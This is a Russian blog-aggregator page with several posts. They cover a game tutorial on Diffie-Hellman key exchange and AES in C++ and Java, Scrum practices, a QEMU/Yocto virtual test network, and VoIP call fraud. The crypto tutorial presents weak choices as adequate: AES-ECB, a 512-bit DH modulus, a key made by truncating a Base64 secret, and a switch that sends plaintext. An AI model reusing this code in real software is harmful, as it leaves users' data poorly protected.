	auto proto_arr = make_unique(size);
	message->SerializeToArray(proto_arr.get(), size);

	if (Config::bEnableCrypt)
	{
		string tmpkey = key.substr(0, 16);
		unsigned char * key_c = (unsigned char*)strcpy((char*)malloc(tmpkey.length() + 1), tmpkey.c_str());

		auto cipher = make_unique(size * 2 + 8);

		unsigned char * source_c = (unsigned char*)proto_arr.get();

		size_t cipherLen = AES_ECB_Encrypt(source_c, size, key_c, cipher.get());

		string cipher_str((char*)cipher.get(), cipherLen);

		free(key_c);
		return cipher_str;
	}
	else
	{
		string cipher_str((char*)proto_arr.get(), size);
		return cipher_str;
	}
}

void UCrypto::handleErrors(void)
{
	ERR_print_errors_fp(stderr);
	abort();
}



Какие функции содержит Crypto?

DiffieHellman

static DH *get_dh(int size);

Инициализирует p и g в зависимости от желаемой длины ключа 512 или 1024, используются прегенерированные p/g, ручная генерация тяжелая задача (cpu heavy task), это не сказывается на надёжности.

static keys Generate_KeysSet_DH();

Создаёт и сохраняет набор ключей: p,g, private key, public key.

static DH * client;

Экземпляр DH.

static std::string Generate_SecretKey_DH(std::string str);

Создаёт общий секретный ключ на основе входящего открытого ключа, возвращает строку в Base64.

Base64

static size_t CalcDecodeLength(const char* b64input);

Вычисляет длину декодированной строки.

static size_t Base64Decode(char* b64message, unsigned char** buffer, size_t* length);
static std::string Base64Encode(char *decoded_bytes, size_t decoded_length);


Кодирование/декодирование Base64.

Sha256

static std::string SHA256(const void *data, size_t data_len);

Получить хеш.

AES_ecb_128

static int AES_ECB_Encrypt(unsigned char *source, int source_len, unsigned char *key, unsigned char *cipher);
static int AES_ECB_Decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *plaintext);
static std::string Encrypt(std::string source, std::string key);
static std::string Decrypt(std::string cipher, std::string key);
static std::string EncryptProto(google::protobuf::Message * message, std::string key);


Разные версии шифровальщика, для любых данных, длинна ключа 16 символов.

static void handleErrors(void);

Обработка ошибок.

При вызове шифровальщика идет проверка if (Config::bEnableCrypt) если шифрование отключено возвращаются незашифрованные байты вместо зашифрованных.

Теперь тоже самое на сервере, к счастью тут всё проще. Очень хорошо всё разжевано в
Java Cryptography Architecture, в конце есть подробный пример: Appendix D: Sample Programs Diffie-Hellman Key Exchange between 2 Parties.

Методы по функциям те же, но нам не нужна внешняя библиотека, всё есть в javax.crypto.*; java.security.*;

Создадим пакет com.spiky.server.utils а в нем класс Cryptography:

Cryptography.java
/*
 * Copyright (c) 2017, Vadim Petrov - MIT License
 */

package com.spiky.server.utils;

import com.spiky.server.ServerMain;

import javax.crypto.*;
import javax.crypto.interfaces.DHPrivateKey;
import javax.crypto.interfaces.DHPublicKey;
import javax.crypto.spec.DHParameterSpec;
import javax.crypto.spec.DHPublicKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.math.BigInteger;
import java.security.*;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;

public class Cryptography {
    private String secretKey;
    private String clientPublicKey;
    private String clientPrivateKey;
    private KeyAgreement clientKeyAgree;

    public String getSecretKey() {
        return secretKey;
    }

    public void setSecretKey(String secretKey) {
        this.secretKey = secretKey;
    }

    public String getClientPublicKey() {
        return clientPublicKey;
    }

    public void DiffieHellman_createKeys() {
        try {

            DHParameterSpec dhSkipParamSpec = new DHParameterSpec(P, G);

            // Alice creates her own DH key pair, using the DH parameters from above
            KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance("DH");

            aliceKpairGen.initialize(dhSkipParamSpec);

            KeyPair aliceKpair = aliceKpairGen.generateKeyPair();

            DHPublicKey dhPub = (DHPublicKey)aliceKpair.getPublic();
            clientPublicKey = String.valueOf(dhPub.getY());

            DHPrivateKey dhPr = (DHPrivateKey)aliceKpair.getPrivate();
            clientPrivateKey = String.valueOf(dhPr.getX());

            // Alice creates and initializes her DH KeyAgreement object
            clientKeyAgree = KeyAgreement.getInstance("DH");
            clientKeyAgree.init(aliceKpair.getPrivate());

        } catch (InvalidAlgorithmParameterException | NoSuchAlgorithmException | InvalidKeyException e) {
            e.printStackTrace();
        }
    }

    public String DiffieHellman_createSecretKey(String bobPublicKey) {
        try {
            DHPublicKeySpec dhPubKeySpecs = new DHPublicKeySpec(new BigInteger(bobPublicKey), P, G);
            KeyFactory kf = KeyFactory.getInstance("DH");
            DHPublicKey bobPubKey = (DHPublicKey) kf.generatePublic(dhPubKeySpecs);

            clientKeyAgree.doPhase(bobPubKey, true);

            byte[] aliceSecret = clientKeyAgree.generateSecret();
            byte[] encodedBytes = Base64.getEncoder().encode(aliceSecret);

            String source_key = new String(encodedBytes);
            return source_key.substring(0, 16);
        } catch (NoSuchAlgorithmException | InvalidKeySpecException | InvalidKeyException e) {
            e.printStackTrace();
        }
        return null;
    }

    public byte[] Crypt(byte[] source, String key) {
        if(ServerMain.bEnableCrypto) {
            try {
                Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
                SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
                cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
                return cipher.doFinal(source);
            } catch (InvalidKeyException | NoSuchPaddingException | NoSuchAlgorithmException | IllegalBlockSizeException | BadPaddingException e) {
                e.printStackTrace();
            }
        } else {
            return source;
        }
        return null;
    }

    public byte[] Decrypt(byte[] cryptogram, String key) {

        //System.out.println("ServerMain.bEnableCrypto: " + ServerMain.bEnableCrypto);

        if(ServerMain.bEnableCrypto) {
            try {
                Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
                SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
                cipher.init(Cipher.DECRYPT_MODE, skeySpec);
                return cipher.doFinal(cryptogram);
            } catch (IllegalBlockSizeException | BadPaddingException | NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException e) {
                e.printStackTrace();
            }
        } else {
            return cryptogram;
        }
        return null;
    }

    // The 1024 bit Diffie-Hellman modulus values used by SKIP
    private static final byte dh1024_p[] = {
            (byte)0xF4, (byte)0x88, (byte)0xFD, (byte)0x58, (byte)0x4E, (byte)0x49, (byte)0xDB, (byte)0xCD,
            (byte)0x20, (byte)0xB4, (byte)0x9D, (byte)0xE4, (byte)0x91, (byte)0x07, (byte)0x36, (byte)0x6B,
            (byte)0x33, (byte)0x6C, (byte)0x38, (byte)0x0D, (byte)0x45, (byte)0x1D, (byte)0x0F, (byte)0x7C,
            (byte)0x88, (byte)0xB3, (byte)0x1C, (byte)0x7C, (byte)0x5B, (byte)0x2D, (byte)0x8E, (byte)0xF6,
            (byte)0xF3, (byte)0xC9, (byte)0x23, (byte)0xC0, (byte)0x43, (byte)0xF0, (byte)0xA5, (byte)0x5B,
            (byte)0x18, (byte)0x8D, (byte)0x8E, (byte)0xBB, (byte)0x55, (byte)0x8C, (byte)0xB8, (byte)0x5D,
            (byte)0x38, (byte)0xD3, (byte)0x34, (byte)0xFD, (byte)0x7C, (byte)0x17, (byte)0x57, (byte)0x43,
            (byte)0xA3, (byte)0x1D, (byte)0x18, (byte)0x6C, (byte)0xDE, (byte)0x33, (byte)0x21, (byte)0x2C,
            (byte)0xB5, (byte)0x2A, (byte)0xFF, (byte)0x3C, (byte)0xE1, (byte)0xB1, (byte)0x29, (byte)0x40,
            (byte)0x18, (byte)0x11, (byte)0x8D, (byte)0x7C, (byte)0x84, (byte)0xA7, (byte)0x0A, (byte)0x72,
            (byte)0xD6, (byte)0x86, (byte)0xC4, (byte)0x03, (byte)0x19, (byte)0xC8, (byte)0x07, (byte)0x29,
            (byte)0x7A, (byte)0xCA, (byte)0x95, (byte)0x0C, (byte)0xD9, (byte)0x96, (byte)0x9F, (byte)0xAB,
            (byte)0xD0, (byte)0x0A, (byte)0x50, (byte)0x9B, (byte)0x02, (byte)0x46, (byte)0xD3, (byte)0x08,
            (byte)0x3D, (byte)0x66, (byte)0xA4, (byte)0x5D, (byte)0x41, (byte)0x9F, (byte)0x9C, (byte)0x7C,
            (byte)0xBD, (byte)0x89, (byte)0x4B, (byte)0x22, (byte)0x19, (byte)0x26, (byte)0xBA, (byte)0xAB,
            (byte)0xA2, (byte)0x5E, (byte)0xC3, (byte)0x55, (byte)0xE9, (byte)0x2F, (byte)0x78, (byte)0xC7
    };

    private static final byte dh512_p[] = {
            (byte)0xDA, (byte)0x58, (byte)0x3C, (byte)0x16, (byte)0xD9, (byte)0x85, (byte)0x22, (byte)0x89,
            (byte)0xD0, (byte)0xE4, (byte)0xAF, (byte)0x75, (byte)0x6F, (byte)0x4C, (byte)0xCA, (byte)0x92,
            (byte)0xDD, (byte)0x4B, (byte)0xE5, (byte)0x33, (byte)0xB8, (byte)0x04, (byte)0xFB, (byte)0x0F,
            (byte)0xED, (byte)0x94, (byte)0xEF, (byte)0x9C, (byte)0x8A, (byte)0x44, (byte)0x03, (byte)0xED,
            (byte)0x57, (byte)0x46, (byte)0x50, (byte)0xD3, (byte)0x69, (byte)0x99, (byte)0xDB, (byte)0x29,
            (byte)0xD7, (byte)0x76, (byte)0x27, (byte)0x6B, (byte)0xA2, (byte)0xD3, (byte)0xD4, (byte)0x12,
            (byte)0xE2, (byte)0x18, (byte)0xF4, (byte)0xDD, (byte)0x1E, (byte)0x08, (byte)0x4C, (byte)0xF6,
            (byte)0xD8, (byte)0x00, (byte)0x3E, (byte)0x7C, (byte)0x47, (byte)0x74, (byte)0xE8, (byte)0x33
    };

    private static final BigInteger P = new BigInteger(1, dh512_p);

    private static final BigInteger G = BigInteger.valueOf(2);
}


Нужно добавить возможность включения отключения шифрования, для этого в файле конфигурации добавим enableCrypt = true и прочитаем его в ServerMain:

/* шифруются ли данные */
public static final boolean bEnableCrypto = Boolean.parseBoolean(configurationBundle.getString("enableCrypt"));

Для того чтобы что то зашифровать достаточно выбрать шифр, задать режим работы, выбрать тип паддинга (если длина исходных данных меньше длины блока) и получить массив зашифрованных байт:

Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec);
return cipher.doFinal(source);

Здесь мы так же используем прегенерированные значения p, g. Шифрование с обеих сторон готово!

Вернёмся к регистрации.

После начала набора логина я хочу, чтобы его длина соответствовала минимум 3 символам, так же в нем могут быть только английские буквы, цифры, подчеркивания, тире. Создадим в DifferentMix функцию StringCleaner, которая будет принимать строку и допустимые в ней символы:

void UDifferentMix::StringCleaner(std::string & source, const std::string & availableSymbols)
{
	source.erase(std::remove_if(source.begin(), source.end(),
		[&availableSymbols](const char ch)
	{
		if (availableSymbols.find(ch) != std::string::npos) return false;
		return true;
	}
	), source.end());
}

В конструкторе NativeConstruct добавим ссылки на виджеты и делигируем события такие как изменение текста:

wLoginTextBox = Cast(GetWidgetFromName(TEXT("LoginTextBox")));
wLoginTextBox->OnTextChanged.AddDynamic(this, &URegWidgets::OnLoginTextChanged);

Добавим ссылки на изображения в конструкторе URegWidgets::URegWidgets, которые будут выводиться рядом с формой и показывать правильность ввода.

static ConstructorHelpers::FObjectFinder accept_ref(TEXT("Texture2D'/Game/ProjectResources/Images/accept.accept'"));

accept_tex = accept_ref.Object;

Функция проверки ввода работает так:

void URegWidgets::OnLoginTextChanged(const FText & text)
	переводим в std::string
	очищаем DifferentMix->StringCleaner() и присваиваем полю
	если (str.length() < 3)
		SetBrushFromTexture(denied_tex)
		wInfoBlock->SetText(FText::FromString("Error : Too short login"));
		return;

	UMessageEncoder::Send(inputChecking)

Если все хорошо — отправляем на сервер для проверки доступности. В процессе регистрации и входа мы используем RegLogModels, в котором есть четыре модели:

  • InputChecking – задача отправить логин/меил/капчу и получить ответ от сервера, может содержать байты изображения капчи.
  • Login – задача отправить логин/хэш пароля и публичный ключ, принимает-отправляет состояние операций.
  • Registration – всё, что связанно с регистрацией: логин/меил/хэш/публичный ключ/капча и состояние операций.
  • InitialState – в случаем успеха, отправляем клиенту начальное состояние, это будет логин, id сессии и состояние списка игровых комнат, все данные необходимые в главном меню.

Добавим в URegWidgets::OnLoginTextChanged создание сообщения и отправку его по сети:

std::shared_ptr inputChecking(new InputChecking);
inputChecking->set_mail(TCHAR_TO_UTF8(*text.ToString()));

UMessageEncoder::Send(inputChecking.get(), false, true);

Похожим образом работают и остальные поля. После нажатия на кнопку SingUp проверяем флаги допустимости каждого из полей (если какое-то поле заполнено неправильно, флаг сигнализирует об этом). И если всё верно, отправляем логин, меил и капчу:

URegWidgets::SingUpButtonClicked()
	if (bLoginOk && bPassOk && bMailOk && bCaptchaOk)

URegWidgets::CloseButtonClicked()
	USpikyGameInstance::DifferentMix->ShowLoginScreen();

Для показа лицензии используется виджет Terms_Privacy_W, родителя для него создавать не будем, тут нет логики. Добавим в URegWidgets возможность отображения:

void URegWidgets::ShowTermPrivacyClicked()
{
	USpikyGameInstance::DifferentMix->wTermsPrivacy->SetVisibility(ESlateVisibility::Visible);
}

Текущее состояние RegWidgets
// Copyright (c) 2017, Vadim Petrov - MIT License

#include "Spiky_Client.h"
#include "RegWidgets.h"
#include "Protobufs/RegLogModels.pb.h"
#include "MessageEncoder.h"
#include "SpikyGameInstance.h"
#include "DifferentMix.h"
#include "Runtime/CoreUObject/Public/UObject/ConstructorHelpers.h"
#include "Runtime/Engine/Classes/Engine/Texture2D.h"
#include "Runtime/UMG/Public/Components/Button.h"
#include "Runtime/UMG/Public/Components/Image.h"
#include "Runtime/UMG/Public/Components/EditableTextBox.h"
#include "Runtime/UMG/Public/Components/TextBlock.h"

URegWidgets::URegWidgets(const FObjectInitializer & ObjectInitializer)
	: Super(ObjectInitializer)
{
	static ConstructorHelpers::FObjectFinder accept_ref(TEXT("Texture2D'/Game/ProjectResources/Images/accept.accept'"));

	accept_tex = accept_ref.Object;

	static ConstructorHelpers::FObjectFinder denied_ref(TEXT("Texture2D'/Game/ProjectResources/Images/denied.denied'"));

	denied_tex = denied_ref.Object;

	static ConstructorHelpers::FObjectFinder empty_ref(TEXT("Texture2D'/Game/ProjectResources/Images/empty.empty'"));

	empty_tex = empty_ref.Object;
}

void URegWidgets::NativeConstruct()
{
	Super::NativeConstruct();

	wReloadCaptchaButton = Cast(GetWidgetFromName(TEXT("ReloadCaptchaButton")));
	wReloadCaptchaButton->OnClicked.AddDynamic(this, &URegWidgets::ReloadCaptchaClicked);

	wCaptchaImage = Cast(GetWidgetFromName(TEXT("CaptchaImage")));

	wLoginTextBox = Cast(GetWidgetFromName(TEXT("LoginTextBox")));
	wLoginTextBox->OnTextChanged.AddDynamic(this, &URegWidgets::OnLoginTextChanged);

	wPasswordTextBox = Cast(GetWidgetFromName(TEXT("PasswordTextBox")));
	wPasswordTextBox->OnTextChanged.AddDynamic(this, &URegWidgets::OnPasswordTextChanged);

	wMainTextBox = Cast(GetWidgetFromName(TEXT("MailTextBox")));
	wMainTextBox->OnTextChanged.AddDynamic(this, &URegWidgets::OnMailTextChanged);

	wCaptchaTextBox = Cast(GetWidgetFromName(TEXT("CaptchaTextBox")));
	wCaptchaTextBox->OnTextChanged.AddDynamic(this, &URegWidgets::OnCaptchaTextChanged);

	wLoginImage = Cast(GetWidgetFromName(TEXT("LoginImage")));
	wPassImage = Cast(GetWidgetFromName(TEXT("PasswordImage")));
	wMailImage = Cast(GetWidgetFromName(TEXT("MailImage")));
	wCaptchaCheckImage = Cast(GetWidgetFromName(TEXT("CaptchaCheckImage")));
	wInfoBlock = Cast(GetWidgetFromName(TEXT("InfoBlock")));

	wShowTermsPrivacyButton = Cast(GetWidgetFromName(TEXT("TermsPrivacy")));
	wShowTermsPrivacyButton->OnClicked.AddDynamic(this, &URegWidgets::ShowTermPrivacyClicked);

	wCloseButton = Cast(GetWidgetFromName(TEXT("CloseButton")));
	wCloseButton->OnClicked.AddDynamic(this, &URegWidgets::CloseButtonClicked);

	wSingUpButton = Cast(GetWidgetFromName(TEXT("SingUpButton")));
	wSingUpButton->OnClicked.AddDynamic(this, &URegWidgets::SingUpButtonClicked);
}

void URegWidgets::CloseButtonClicked()
{
	USpikyGameInstance::DifferentMix->ShowLoginScreen();
}

void URegWidgets::ShowTermPrivacyClicked()
{
	USpikyGameInstance::DifferentMix->wTerms
	        
	        
	        

Метки:  

Как мы починили свой процесс и стали меньше отвлекаться

Понедельник, 07 Августа 2017 г. 10:48 + в цитатник
В прошлом году наша команда прошла через жесткий слом процесса разработки, но смогла восстановить его и сделать еще лучше: понятней, приятней и продуктивней.

Расскажу про некоторые практики и подходы, которые мы внедрили и используем для обеспечения стабильного процесса. Ключевая идея, вокруг которой все это строится, — у разработчика должен быть фокус на разработку, от которого его следует как можно меньше отвлекать.



1. Дежурный разработчик


Каждый разработчик команды лично отвечает за качество продукта, поэтому мы взаимодействуем со службой поддержки напрямую — так острее чувствуется боль пользователей.

Каждый день один из нас заступает на дежурство. Приоритетная и эксклюзивная задача дежурного разработчика — работа с обращениями службы поддержки. Нормально, если из-за наплыва заявок дежурный не написал ни строчки кода, но не комильфо, если оставил новые заявки на следующий день (они достанутся его коллеге).

Для простоты атрибуты власти дежурного (см. картинку) передаются каждый день по часовой стрелке следующему разработчику (никаких графиков дежурств).

Дежурство дает службе поддержки максимально быструю реакцию от команды, а команде позволяет меньше отвлекаться.

2. Единая точка входа в команду


Команда открыта снаружи только для продукт-оунера и службы поддержки пользователей. Продукт-оунер проксирует все запросы по поводу реализуемости фич и тому подобного, служба поддержки решает через команду сложные вопросы пользователей.

Это простое, даже капитанское правило защищает команду от гиперактивных менеджеров по работе с клиентами, желающих срезать углы и решить свой вопрос «по-быстрому», а заодно прокачивает продукт-оунера и службу поддержки.

3. Фиксированные дни для обсуждений


Любые обсуждения, в которых участвует команда, проводятся строго в отведенные дни недели (вторник и четверг в нашем случае). На эти же дни назначены регулярные обсуждения/оценка (груминг) новых фич с продукт-оунером, а также планирование следующего спринта.

При таком подходе выделенные дни в пределе могут быть полностью заняты обсуждениями и переключениями между ними (и снова ни строчки кода), но взамен мы получаем гарантию, что в остальное время сможем сфокусироваться на разработке.

4. Обсуждение — задача с оценкой


Некоторым сбоку от разработки кажется, что отвлечь команду на часовую встречу это всего лишь час работы команды. Несколько таких встреч в спринте и уже непонятно, куда делись две недели.

Чтобы подчеркнуть стоимость встреч и проводить их более эффективно, каждое обсуждение мы планируем и оцениваем как любую другую задачу. К началу итерации точно известно, на какие встречи команда потратит время и какой результат от них ожидается.

5. Резервы продукт-оунера


Мы используем Scrum с двухнедельными итерациями. Это означает, что с начала спринта список задач в нем фиксирован и в штатном случае не должен меняться.

Но за две недели мир может измениться, и для новой небольшой задачи ждать еще две недели иногда не вариант. Чтобы иметь возможность отреагировать на изменения, во время планирования очередного спринта мы включаем в него резерв.

Резерв выглядит как задача без описания, но с оценкой в story points. Количество резерва определяется продукт-оунером с учетом потенциальных потребностей. Его может не быть совсем, если в спринте не осталось места. Максимальное количество резерва ограничено, в нашем случае это три задачи с разной оценкой:

  • XS (~3 идеальных человеко-часа) — 2 задачи
  • S (~6 идеальных человеко-часов) — 1 задача


Неиспользованный продукт-оунером резерв за день до демонстрации превращается в тыкву сгорает. Этим гарантируется, что востребованный резерв можно успеть реализовать и включить в релиз. Команда использует сгоревший резерв на техническую задачу по своему усмотрению, либо удаляет его из спринта (в последнем случае story points не начисляются).

6. Done-консилиум


Раньше у нас были сложности с определением завершенности задачи (Definition of Done), особенно с пунктом «Вся команда согласна, что задача выполнена».

Теперь, когда автор-разработчик считает задачу готовой, он собирает других участников команды на Done-консилиум и проводит мини-демонстрацию. Команда коллегиально оценивает, решена ли исходная задача, не забыто ли что-то еще, о чем раньше не подумали, и, возможно, предлагает улучшения.

Done-консилиум гарантирует, что вся команда довольна итоговым решением задачи.

Поскольку мероприятие требует отвлечения всей команды, для него отведено специальное время в перерыве между задачами: сразу после дейли-стендапа и сразу после обеда.

7. Передача кода


Когда Done-консилиум закончился, а автор внес необходимые правки, задача переходит другому разработчику. Он проводит code review и самостоятельно устраняет найденные замечания или проводит рефакторинг.

Этой практикой достигается общее владение кодом и погружение в задачи коллег, сокращается время на исправление замечаний по code review. Кроме того, здесь работает эффект свежего взгляда и второй головы, что часто помогает выявить неочевидные проблемы.
Какие из подходов/практик используются в вашей команде?

Никто ещё не голосовал. Воздержалось 3 человека.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334936/


[Из песочницы] Виртуальная сетевая среда для тестирования сетевых протоколов. Используем QEMU+YOCTO+TAP

Понедельник, 07 Августа 2017 г. 10:45 + в цитатник


Идея создания сетевой тестовой среды возникла когда пришла необходимость запускать и отлаживать устройства с IPsec и GRE протоколами. С похожими проблемами сталкивались и разработчики strongSwan. Проблема была с прогоном unit тестов. Они приготовили виртуальную сеть на базе UML (user mode linux). В этом документе описано в общих чертах, что это такое и как работает. Подносить виртуальную сеть под UML буду при первой возможности, a на первом этапе тестовая среда была поднята на QEMU и на дистрибуциях приготовленных под YOCTO. Итак даная статья описывает: как создать свою дистрибуцию linux, поднять и настроить несколько инстанций QEMU, настроить виртуальную сеть и как пример поставить GRE туннель. Получается очень полезная штука для отладки и тестирования маршрутизаторов. Так, что всех заинтересованных приглашаю ниже.

В качестве Host использовалась дистрибуция Ubuntu.

Linux 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Готовим дистрибуцию linux


Итак сначала подготовим дистрибуцию linux для виртуальных машин. Для этого используем систему сборки YOCTO. Дистрибуция получается лёгкая, а также даёт возможность конфигурации/компиляции ядра и установки дополнительных пакетов. Ещё один плюс, это кросс-платформенность дистрибуции linux. Потренировавшись на виртуальных сборках можем переносить дистрибуцию на встраиваемые системы. Подготовка дистрибуции может занять около часа или двух. Готовые сборки можно взять здесь.

Необходимые инструменты

$sudo apt-get install chrpath gawk texinfo python

Возможно потребуется ещё кое-что.

a) Установка yocto


$mk yocto
$cd yocto
$git clone -b pyro git://git.yoctoproject.org/poky.git
$git clone -b pyro git://git.openembedded.org/meta-openembedded
$source ./poky/oe-init-build-env 

б) Правка конфигурационных файлов


Рабочий каталог будет «yocto/ build»
Поправим установки.
В файле conf/bblayers.conf поправляем

BBLAYERS ?= " \
/home/user/yocto/poky/meta \
/home/user/yocto/poky/meta-poky \
/home/user/yocto/poky/meta-yocto-bsp \
/home/user/yocto/meta-openembedded/meta-oe \
/home/user/yocto/meta-openembedded/meta-networking \
/home/user/yocto/meta-openembedded/meta-webserver \
/home/user/yocto/meta-openembedded/meta-python \
/home/user/yocto/meta-openembedded/meta-multimedia \
"

Устанавливаем некоторые полезные пакеты. В файле /conf/local.conf

# We default to enabling the debugging tweaks.
EXTRA_IMAGE_FEATURES ?= "debug-tweaks"

CORE_IMAGE_EXTRA_INSTALL = " \
kernel-modules \
lrzsz \
setserial \
strongswan \
opkg \
nbench-byte \
lmbench \
alsa-utils \
i2c-tools \
devmem2 \
dosfstools \
libdrm-tests \
netkit-ftp \
iproute2 \
iptables \
bridge-utils \
socat \
wget \
curl \
vlan \
dhcp-server \
dhcp-client \
ntp \
libstdc++ \
nginx \
ppp \
proftpd \
boost \
openssl \
openssh \
fcgi \
mc \
ethtool \
minicom \
procps \
tcpdump \
file"

Дополнительно надо поправить файл конфигурации sshd «yocto/poky/meta/recipes-connectivity/openssh/openssh/sshd_config».

# override default of no subsystems
#Subsystem sftp /usr/libexec/sftp-server
Subsystem sftp internal-sftp

Эта поправка необходима для того, чтобы не устанавливать дополнительный сервер sftp. Используется он при монтировании файл-системы через ssh.

в) Запуск сборки


$bitbake core-image-minimal

Необходимо подождать.

Если сборка закончилась успехом, то на выходе получаем:

rootfs - /yocto/build/tmp/deploy/images/qemux86/core-image-minimal-qemux86-20170803162854.rootfs.ext4

kernel - /yocto/build/tmp/deploy/images/qemux86/bzImage—4.10.17+git0+e92bd55409_6648a34e00-r0-qemux86-20170801184648.bin

Системы сборки определяет, что изменялось и дописывает файлы с отпечатком времени в названии файла. На самые последние версии указывают линки.

«bzImage»
«core-image-minimal-qemux86.ext4»

г) Проверяем сборку


Устанавливаем qemu для платформы хоста. В данном случае это x86 64 бита.

$sudo apt-get install qemu-system-x86
$qemu-system-x86_64 --version 
QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.34), Copyright (c) 2003-2008 Fabrice Bellard

Запускаем qemu.

$cd ~/yocto/build/tmp/deploy/images/qemux86
$qemu-system-x86_64 -hda ./core-image-minimal-qemux86.ext4  -kernel ./bzImage -append "console=ttyS0 root=/dev/hda initrd=/initrd" -nographic



Если видим следующую картинку то виртуальная машина встала.

Конфигурация виртуальной сети


Скрипты и установки находятся здесь https://github.com/framer/test-net.

а) Создание схемы сети


Для наглядности создадим схему виртуальной сети.



H1,H2,R1,R2 — Виртуальные машины.
BR0,BR1,BR2,BR3 — Виртуальные коммутаторы.

Каждая виртуальная машина имеет интерфейс управления (eth0) подключенный к коммутатору BR0. Также создаём сеть 192.168.40.0/24. Эти интерфейсы и сеть будут использоваться для установок и управления.

б) Установка виртуальных коммутаторов


Сначала поставим виртуальные коммутаторы к которым будут подключаться интерфейсы TAP виртуальных машин. Установим несколько виртуальных коммутаторов для разных сегментов сетей. Установить можно так:

$cd ./src
$sudo ./setup_bridge.sh 4
$ip link


Для коммутатора BR0 припишем адрес управления и включаем передачу пакетов между интерфейсами.

$ip addr add 192.168.40.1/24 dev br0
$sysctl -w net.ipv4.ip_forward=1

в) Файл установок «conf.json»


Файл установок приготовлен согласно с схемой. Если, что либо надо изменить или дополнить, то необходимо отредактировать этот файл. В этом файле установки интерфейсов и адресов управления. Установка адресов тестируемой сети будет после запуска виртуальных машин.

г) Создание инстанций виртуальных машин


Сначала копируем созданное предварительно ядро и корневую файл систему, в каталог «src».

Название файлов следующее:
bzImage — ядро
rootfs — корневая файл система.
Если кто-то не имеет своей дистрибуции то готовые сборки можно взять здесь.

Для создания инстанций используется скрипт «create_network.py».

$./create_network.py

Скрипт создаёт инстанции виртуальных машин. Так как ещё нет конфигурации сети управления, то нет доступа к виртуальной машине через сеть. Скрипт запускает виртуальные машины в режиме перехвата потоков ввода/вывода и делает установку сети управления.

После отработки скрипта создаются каталоги для каждой виртуальной машины.

$ls .. -Al



д) Запуск среды


Для запуска среды делаем так:

$sudo ./run_network.py



Запускаем под sudo, так как машины создаю интерфейсы tap. Машины работают в background. Стандартная консоль пишется в файл «output.log».

Доступ к машинам осуществляется через ssh. Существует одна проблема. Если мы будем создавать среду заново, то при запуске машины для ssh будут генерироваться заново ключи. Хост определит, что под теми самыми адресами работает машина с другими ключами и начнёт ругаться. В этом случае необходимо почистить файл «.ssh/known_hosts».

После того как машины встали можно подмонтировать корневые файл системы.

$./mount_fs.py

Подмонтированные файл системы находятся в каталогах H1/tmp, H2/tmp, R1/tmp, R2/tmp.

е) Установка параметров сети


После запуска среды, виртуальные машины имеют установленную только сеть управления. Установить остальные параметры сети согласно со схемой, для всех машин сразу, можно запустив скрипт:

 $cd ../scripts
 $./static.sh

static.sh — пример сети со статической маршрутизацией.

Теоретически сеть настроена.

Диагностика сети. Диагностику сети можно производить на каждом виртуальном коммутаторе.

Подключимся к H1 через ssh.
На H1 запустим ping на H2.

root@H1:~# ping 192.168.51.10

На host запустим диагностику

$ sudo tcpdump -i br2



ф) Остановка сети


Для остановки и отмонтирования файл системы запустим.

$sudo ./stop_network.py


Конфигурация GRE


а) Поправим схему сети




б) Запуск среды и установка среды



$sudo run_network.py

Подождать и подмонтировать файл системы.

$mount_fs.py

Установить параметры среды

$cd ../scripts
$./gre.sh

в) Диагностика сети


Подключимся к H1 через ssh.
На H1 запустим ping на H2.

root@H1:~# ping 192.168.51.10

На host запустим

$ sudo tcpdump -i br2



Заключение


Зачем все это?

Во-первых. Тот кто работает над созданием маршрутизаторов задаётся вопросом. «А как он будет работать в реальных условиях?» И тут даная система приходит на помощь. Имея на хосте дополнительные сетевые карты можно подключить реальную карту к виртуальному коммутатору и заменить виртуальную машину на реальное устройство. Автоматизация создания среды позволяет готовить разные сценарии работы и проверять функциональность реального устройства.
Во-вторых. Наверное, для студентов.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335038/


Метки:  

Очищение потока звонков без магии и SMS

Понедельник, 07 Августа 2017 г. 10:22 + в цитатник

image

 

Компании вкладываются в привлечение звонков потенциальных клиентов, а другие компании хотят на этом заработать. Причем не всегда честно. Например, создавая большой поток обращений, которые никогда не приведут к сделке. Наша Виртуальная АТС борется с недобросовестными поставщиками звонков.


Не все звонки одинаково полезны


Нежелательные звонки в компанию забивают канал и отнимают время и силы сотрудников. Мы выделяем четыре вида таких вредных обращений:


  1. Телефонное хулиганство
  2. Мошенничество
  3. Спам
  4. Фрод

Первый вид — наименее опасный для компании. Во-первых, он не применяется широко, во-вторых, с помощью Виртуальной АТС элементарно пресекается. Обычно хулиганы выбирают жертву и заказывают звонки на ее номер через сервисы обратного вызова. Достаточно внести IP-адрес такого шутника в черный список и проблема решена.


Второй вид, мошенничество, способен навредить гораздо сильнее. Взломав SIP-линии компании, нарушители могут ощутимо истощить баланс звонками на премиум-номера, часто международные.


В подавляющем большинстве случаев это связано с безалаберностью самих абонентов SIP-телефонии. Почти любая облачная АТС на рынке (и наша, конечно, не исключение) обладает возможностью запретить звонки на междугородные, международные и премиальные направления. А потому перейдем к категориям звонков, с которыми бороться гораздо труднее.


Блокировка звонка по голосу (и не только)


С голосовым спамом справиться значительно сложнее. Иногда он связан с мошенничеством (слушающего провокационным сообщением пытаются вынудить перезвонить на премиум-номер), но это явление, к счастью, не носит массового характера.


